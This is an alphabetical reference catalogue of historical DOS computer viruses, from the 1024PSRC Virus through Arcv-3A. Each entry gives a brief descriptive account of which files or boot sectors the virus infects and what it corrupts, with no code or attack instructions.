The 1024PSRC Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

1030 Virus

The 1030 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

1049 Virus

The 1049 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

1067 Virus

The 1067 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

1076 Virus

The 1076 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

1210 Virus

The 1210 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

1236 Virus

The 1236 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

1241 Virus

The 1241 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

1244 Virus

The 1244 Virus is a computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

1253 - Boot Virus

The 1253 - Boot Virus is a computer virus which infects the fixed disk boot sector. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation, corrupts program or overlay files and data files.

1253 - COM Virus

The 1253 - COM Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an

infected program and then affects the computer's runtime operation,
corrupts program or overlay files and data files.

1260 Virus

The 1260 Virus is an encrypted computer virus which resists tracing by
Debug and infects .COM files. The virus is loaded into memory by
executing an infected program. The virus corrupts program or overlay
files.

1280 Virus

The 1280 Virus is an encrypted computer virus which infects .COM
files. The virus is loaded into memory by executing an infected
program. The virus corrupts program or overlay files.

1339 Virus

The 1339 Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files.

1376 Virus

The 1376 Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files.

1381 Virus

The 1381 Virus is a computer virus which infects .EXE files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

1385 Virus

The 1385 Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

1392 Virus

The 1392 Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

145 Virus

The 145 Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

1452 Virus

The 1452 Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

1530 Virus

The 1530 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

1536 Virus

see "Zero_Bug_Virus"

1559/1554 Virus

The 1559/1554 Virus is an encrypted computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

1575 Virus

The 1575 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

1575/1591 Virus

The 1575/1591 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

1605 Virus

The 1605 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

1661 Virus

The 1661 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

1677 Virus

The 1677 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

1689 Virus

The 1689 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

1701 variant Virus

The 1701 variant Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and

corrupts program or overlay files.

1704 Virus

The 1704 Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

1720 Virus

The 1720 Virus is a computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

1757 Virus

The 1757 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

1803 Virus

The 1803 Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

1804 Virus

The 1804 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

1835 Virus

The 1835 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

1840 Virus

The 1840 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

191 Virus

The 191 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

196 Virus

The 196 Virus is a non-overwriting version of the 97 Virus written by Fred Deakin. It is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

1963 Virus

The 1963 Virus is a computer virus which uses stealth techniques to
avoid detection and which infects .COM, .EXE and overlay files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files and data files.

1971/8 Tunes Virus

The 1971/8 Tunes Virus is a computer virus which infects .COM, .EXE
and overlay files. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

1992 Virus

The 1992 Virus is an encrypted computer virus which infects .COM and
.EXE files including COMMAND.COM. The virus is loaded into memory by
executing an infected program. The virus corrupts program or overlay
files.

1992B Virus

The 1992B Virus is an encrypted computer virus which infects .EXE
files. The virus is loaded into memory by executing an infected
program.

2014 Virus

The 2014 Virus is a computer virus which infects the fixed disk and
diskette boot sectors. The virus is loaded into memory by booting from
an infected disk and then affects the computer's runtime operation and
corrupts program or overlay files.

203 Virus

The 203 Virus is a computer virus written by Solomon, which infects
.COM files including COMMAND.COM. The virus is loaded into memory by
executing an infected program. The virus corrupts program files.

205 Virus

The 205 Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program. The virus corrupts program or overlay files.

2062 Virus

The 2062 Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

2153 Virus

The 2153 Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

2330 Virus

The 2330 Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

2470 Virus

The 2470 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

2559 Virus

The 2559 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

2560 Virus

The 2560 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

262 Virus

The 262 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

2622 Virus

The 2622 Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation, corrupts program or overlay files and data files.

2803 Virus

The 2803 Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

2930 Virus

The 2930 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

2936 Virus

The 2936 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

302 Virus

The 302 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

3040 Virus

The 3040 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

310 Virus

The 310 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

337 Virus

The 337 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

344 Virus

The 344 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

3445 Virus

The 3445 Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

355 Virus

The 355 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

365 Virus

The 365 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

370-B Virus

The 370-B Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

382 Virus

The 382 Virus is a computer virus (also known as the Family Q Virus) which infects .COM files including COMMAND.COM. The virus is loaded

into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

384 Virus

The 384 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

405 Virus

The 405 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

408 Virus

The 408 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

4096 Virus

The 4096 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

422 Virus

The 422 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

439 Virus

The 439 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

44 Virus

The 44 Virus is an overwriting computer virus written by Dark Helmet of the Trident organisation which which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts any files with an extension commencing.C, such as .COM.

482 Virus

The 482 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

487 Virus

The 487 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then

affects the computer's runtime operation and corrupts program or
overlay files.

4915 Virus

The 4915 Virus is a computer virus which infects .EXE files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

4Mat2 Virus

The 4Mat2 Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

500 Virus

The 500 Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

510 Virus

The 510 Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation.

512 Virus

The 512 Virus (also called the Number Of The Beast Virus) is a
computer virus which uses stealth techniques to avoid detection and
which infects .COM files including COMMAND.COM. The virus is loaded
into memory by executing an infected program and then affects the
computer's runtime operation, corrupts program or overlay files.

5120 Virus

The 5120 Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files and data files.

547 Virus

The 547 Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

555 Virus

The 555 Virus is a computer virus which infects .COM, .EXE and overlay
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program or overlay files.

557 Virus

The 557 Virus is a computer virus which infects .EXE files. The virus
is loaded into memory by executing an infected program. The virus
corrupts program or overlay files and data files.

560 Virus

The 560 Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

578 Virus

The 578 Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

5LO Virus

The 5LO Virus is a computer virus which infects .EXE files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

621 Virus

The 621 Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files and data files.

644 Virus

The 644 Virus is an encrypted computer virus which infects .COM and
.EXE files. The virus is loaded into memory by executing an infected
program. The virus corrupts data files.

651 Virus

The 651 Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files and data files.

654 Virus

The 654 Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

658 Virus

The 658 Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

674 Virus

The 674 Virus is a VCL generated computer virus which infects .COM
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program files.

702 Virus

The 702 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

709 Virus

The 709 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

727 Virus

The 727 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

733 Virus

The 733 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

737 Virus

The 737 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

748 Virus

The 748 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts data files.

765 Virus

The 765 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

777 Virus

The 777 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

7808 Virus

The 7808 Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

789 Virus

The 789 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

7th Son Virus

The 7th Son Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

7thson 284 Virus

The 7thson 284 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

7thson 284a Virus

The 7thson 284a Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

7thson 332b Virus

The 7thson 332b Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

800 Virus

The 800 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

8000 Virus

The 8000 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

812 Virus

The 812 Virus is an encrypted computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts data files.

834 Virus

see "Arab_Virus"

855 Virus

The 855 Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

889 Virus

The 889 Virus is a computer virus which infects .COM and .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

90210 Virus

The 90210 Virus is a semi-stealth virus written by the Trident
organisation. It hides file-size changes while it is in memory and
marks infected files with the timestamp. It will infect COM files on
open, execute, delete, and rename. It checks if it is in memory by
calling Int 21h with DEADh in AX and uses MCB's to go memory resident.

903 Virus

The 903 Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

905 Virus

The 905 Virus is a computer virus which infects .EXE files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

911 Virus

The 911 virus is a direct variant of the Armagedon the GREEK Virus,
derived merely by changing the text within and the dialing string. The
virus size is 1079 bytes, making the smallest carrier 1081 bytes .
The main effect of the virus is to dial "911" every once in a while if
a modem is present on com ports 1-4 (the original virus dialed the
speaking clock in Greece). It is a memory resident virus which infects
.COM files.

923 Virus

The 923 Virus is a computer virus which infects .COM, .EXE and overlay
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program or overlay files and data files.

99% Virus

The 99% Virus is an encrypted computer virus which infects .EXE files.
The virus is loaded into memory by executing an infected program. The
virus corrupts data files.

99%-B Virus

The 99%-B Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

A & A Virus

The A & A Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or

overlay files.

A-403 Virus

The A-403 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus damages the file allocation table.

ABC Virus

The ABC Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Abraxas Virus

The Abraxas Virus is an encrypted computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Abraxas5 Virus

The Abraxas5 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Acid Virus

The Acid Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Acme Virus

The Acme Virus is an encrypted computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Actifed Virus

The Actifed Virus is a G2 generated encrypted computer virus which infects .COM and .EXE files but not COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Ada Virus

The Ada Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Adolf

The Adolf Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Agena Virus

The Agena Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

AGI-Plan Virus

The AGI-Plan Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Ah Virus

The Ah Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

AI Virus

The AI Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

AIDS II Virus

The AIDS II Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

AIDS Trojan Virus

The AIDS Trojan Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

AIDS Virus

The AIDS Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

AirCop Virus

The AirCop Virus is a computer virus which infects the diskette boot sector. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation by displaying "This is Aircop" in blinking white EVERY time the disk is accessed during the month of September.

Ajax Virus

The Ajax Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

Akuku Virus

The Akuku Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Alabama Virus

The Alabama Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Alameda B Virus

The Alameda B Virus (also called the Sacramento Virus) is a slight variation of the Yale Virus .

Alameda Virus

see "Yale_Virus"

Albanian Virus

The Albanian Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Alchemy Virus

The Alchemy Virus is an encrypted computer virus written by Abraxas using the PS-MPC virus generator. It infects .COM and .EXE files and upon activation appears to drop a copy of the Pakistani Brain virus onto the diskette boot sector. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Alfa Virus

The Alfa Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Alpha 743 Virus

The Alpha 743 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Ambulance Car Virus

The Ambulance Car Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files. Randomly, the virus will activate and run an Ambulance across the bottom of the screen after a round of infection.

Amstrad Virus

see "Pixel_Virus"

Ancient Virus

The Ancient Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Andre Virus

The Andre Virus is an encrypted computer virus which infects .COM and
.EXE files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files and data files.

Andre2 Virus

The Andre2 Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects .COM and .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation, corrupts program or
overlay files and data files.

Andromeda Virus

The Andromeda Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Angelina Virus

The Angelina Virus is a computer virus which infects the fixed disk
partition table. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Anna Virus

The Anna Virus is an encrypted computer virus written by the ARCV
orgainsation which infects .COM files including COMMAND.COM. It
activates in the month of December and displays the Message
                        Have a
Cool Yule from the ARcV
                          xCept Anna Jones
                 I hope you get run over by a Reindeer
                      Santas bringin' you a Bomb
                    All my Lurve - SLarTiBarTfAsT
                 (c) ARcV 1992 - England Raining Again

Anninja Virus

The Anninja Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

ANT Virus

The ANT Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation, corrupts program or overlay
files.

Ant-Cow Virus

The Ant-Cow Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Anthrax - Boot Virus

The Anthrax - Boot Virus is a computer virus which infects the fixed
disk boot sector. The virus is loaded into memory by booting from an
infected disk and then affects the computer's runtime operation and
corrupts program or overlay files and data files.

Anthrax - File Virus

The Anthrax - File Virus is a stealth type computer virus which
infects .COM and .EXE files including COMMAND.COM. The virus is loaded
into memory by executing an infected program and then affects the
computer's runtime operation and corrupts program or overlay files and
data files.

Anti-D Virus

The Anti-D Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Anti-Daf Virus

The Anti-Daf Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Anti-MIT Virus

The Anti-MIT Virus is an encrypted computer virus written by First
Strike, which infects .COM files including COMMAND.COM. The virus is
loaded into memory by executing an infected program and then affects
the computer's runtime operation, corrupts program or overlay files.
The virus will not infect files smaller than 500 bytes or longer than
19000 bytes . Infected files may be easily detected as the seconds
field of the time stamp are set to the value 62.

Anti-Pascal II Virus

The Anti-Pascal II Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Anti-Pascal Virus

The Anti-Pascal Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Anti-Tel Virus

The Anti-Tel Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects the fixed disk

partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

Anti-Telefonica Virus

see "Anti-Tel_Virus"

AntiCMOS Virus

The AntiCMOS Virus (also called Lenart Virus, LiXi Virus) is a computer virus which infects the fixed disk and diskette boot sector. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and infects almost all diskettes used while it is in memory. Upon activation, the virus wipes the CMOS memory.

Arab Virus

The Arab Virus (also called the 834 Virus) is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Aragon Virus

The Aragon Virus is a computer virus which uses stealth techniques to avoid detection and which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Aragorn Virus

The Aragorn Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

ARCV 570 Virus

The ARCV 570 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

ARCV 670 Virus

The ARCV 670 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

ARCV 718 Virus

The ARCV 718 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Arcv 773 Virus

The Arcv 773 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and

then affects the computer's runtime operation and corrupts program or overlay files.

Arcv-1 Virus

The Arcv-1 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts data files.

Arcv-1A Virus

The Arcv-1A Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts data files.

Arcv-2 Virus

The Arcv-2 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Arcv-3 Virus

The Arcv-3 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Arcv-3A Virus

The Arcv-3A Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

